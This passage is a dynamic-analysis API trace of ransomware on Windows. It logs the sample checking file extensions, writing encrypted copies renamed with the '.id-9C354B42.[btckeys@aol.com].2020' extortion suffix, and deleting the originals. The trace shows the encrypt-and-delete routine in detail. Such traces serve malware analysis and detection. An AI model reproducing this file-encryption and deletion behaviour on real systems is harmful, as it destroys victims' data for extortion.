Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.736] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0074.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.737] lstrlenW (lpString=".doc") returned 4 [0074.737] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".docx") returned 5 [0074.737] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0074.737] lstrlenW (lpString=".pdf") returned 4 [0074.737] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".xls") returned 4 [0074.737] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".xlsx") returned 5 [0074.737] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0074.737] lstrlenW (lpString=".ppt") returned 4 [0074.737] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.737] lstrlenW (lpString=".zip") returned 4 [0074.737] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.737] lstrlenW (lpString=".rar") returned 4 [0074.737] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".bz2") returned 4 [0074.738] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".7z") returned 3 [0074.738] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.738] lstrlenW (lpString=".dbf") returned 4 [0074.738] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.739] lstrlenW (lpString=".1cd") returned 4 [0074.739] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.739] lstrlenW (lpString=".jpg") returned 4 [0074.739] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.739] lstrlenW (lpString=".doc") returned 4 [0074.739] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".docx") returned 5 [0074.739] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0074.739] lstrlenW (lpString=".pdf") returned 4 [0074.739] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".xls") returned 4 [0074.739] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".xlsx") returned 5 [0074.739] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0074.739] lstrlenW (lpString=".ppt") returned 4 [0074.739] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.739] lstrlenW (lpString=".zip") returned 4 [0074.739] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.739] lstrlenW (lpString=".rar") returned 4 [0074.739] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".bz2") returned 4 [0074.739] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".7z") returned 3 [0074.740] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.740] lstrlenW (lpString=".dbf") returned 4 [0074.740] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.740] lstrlenW (lpString=".1cd") returned 4 [0074.740] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0074.740] lstrlenW (lpString=".jpg") returned 4 [0074.740] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.740] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.740] lstrlenW (lpString="SETUP.XML") returned 9 [0074.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0074.897] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=16683) returned 1 [0074.898] CloseHandle (hObject=0x1d4) returned 1 [0074.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0074.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0074.899] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.899] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0074.943] GetLastError () returned 0x0 [0074.943] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x412b, lpOverlapped=0x0) returned 1 [0075.027] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0075.028] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0075.028] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.029] SetEndOfFile (hFile=0x1d8) returned 1 [0075.029] CloseHandle (hObject=0x1d8) returned 1 [0075.039] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.039] SetEndOfFile (hFile=0x1d4) returned 1 [0075.041] CloseHandle (hObject=0x1d4) returned 1 [0075.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.041] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0075.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.041] lstrlenW (lpString=".doc") returned 4 [0075.041] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.041] lstrlenW (lpString=".docx") returned 5 [0075.041] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.042] lstrlenW (lpString=".pdf") returned 4 [0075.042] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString=".xls") returned 4 [0075.042] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString=".xlsx") returned 5 [0075.042] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.042] lstrlenW (lpString=".ppt") returned 4 [0075.042] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.042] lstrlenW (lpString=".zip") returned 4 [0075.042] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.042] lstrlenW (lpString=".rar") returned 4 [0075.042] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString=".bz2") returned 4 [0075.042] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString=".7z") returned 3 [0075.042] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.042] lstrlenW (lpString=".dbf") returned 4 [0075.042] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.042] lstrlenW (lpString=".1cd") returned 4 [0075.042] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.042] lstrlenW (lpString=".jpg") returned 4 [0075.042] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.043] lstrlenW (lpString=".doc") returned 4 [0075.043] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString=".docx") returned 5 [0075.043] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.043] lstrlenW (lpString=".pdf") returned 4 [0075.043] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString=".xls") returned 4 [0075.043] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString=".xlsx") returned 5 [0075.043] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.043] lstrlenW (lpString=".ppt") returned 4 [0075.043] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.043] lstrlenW (lpString=".zip") returned 4 [0075.043] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.043] lstrlenW (lpString=".rar") returned 4 [0075.043] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString=".bz2") returned 4 [0075.043] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString=".7z") returned 3 [0075.043] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.043] lstrlenW (lpString=".dbf") returned 4 [0075.043] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.043] lstrlenW (lpString=".1cd") returned 4 [0075.043] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0075.043] lstrlenW (lpString=".jpg") returned 4 [0075.043] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.044] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.044] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0075.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0075.045] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=16852) returned 1 [0075.046] CloseHandle (hObject=0x1d4) returned 1 [0075.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0075.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0075.046] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.046] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.046] GetLastError () returned 0x0 [0075.046] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0075.048] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0075.049] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0075.049] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0075.049] SetEndOfFile (hFile=0x1d8) returned 1 [0075.049] CloseHandle (hObject=0x1d8) returned 1 [0075.050] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.050] SetEndOfFile (hFile=0x1d4) returned 1 [0075.050] CloseHandle (hObject=0x1d4) returned 1 [0075.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.051] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0075.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.051] lstrlenW (lpString=".doc") returned 4 [0075.051] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.051] lstrlenW (lpString=".docx") returned 5 [0075.051] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0075.051] lstrlenW (lpString=".pdf") returned 4 [0075.051] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.051] lstrlenW (lpString=".xls") returned 4 [0075.051] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.051] lstrlenW (lpString=".xlsx") returned 5 [0075.051] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0075.051] lstrlenW (lpString=".ppt") returned 4 [0075.051] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.051] lstrlenW (lpString=".zip") returned 4 [0075.051] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.051] lstrlenW (lpString=".rar") returned 4 [0075.051] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.051] lstrlenW (lpString=".bz2") returned 4 [0075.051] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.051] lstrlenW (lpString=".7z") returned 3 [0075.051] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.052] lstrlenW (lpString=".dbf") returned 4 [0075.052] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.052] lstrlenW (lpString=".1cd") returned 4 [0075.052] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.052] lstrlenW (lpString=".jpg") returned 4 [0075.052] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.052] lstrlenW (lpString=".doc") returned 4 [0075.052] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString=".docx") returned 5 [0075.052] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0075.052] lstrlenW (lpString=".pdf") returned 4 [0075.052] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString=".xls") returned 4 [0075.052] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString=".xlsx") returned 5 [0075.052] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0075.052] lstrlenW (lpString=".ppt") returned 4 [0075.052] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.052] lstrlenW (lpString=".zip") returned 4 [0075.052] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.052] lstrlenW (lpString=".rar") returned 4 [0075.052] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString=".bz2") returned 4 [0075.052] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.052] lstrlenW (lpString=".7z") returned 3 [0075.052] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.052] lstrlenW (lpString=".dbf") returned 4 [0075.053] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.053] lstrlenW (lpString=".1cd") returned 4 [0075.053] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0075.053] lstrlenW (lpString=".jpg") returned 4 [0075.053] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.053] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.053] lstrlenW (lpString="SETUP.XML") returned 9 [0075.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0075.053] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=31094) returned 1 [0075.053] CloseHandle (hObject=0x1d4) returned 1 [0075.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0075.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0075.054] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.054] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.445] GetLastError () returned 0x0 [0075.445] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x7976, lpOverlapped=0x0) returned 1 [0075.447] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x7980, 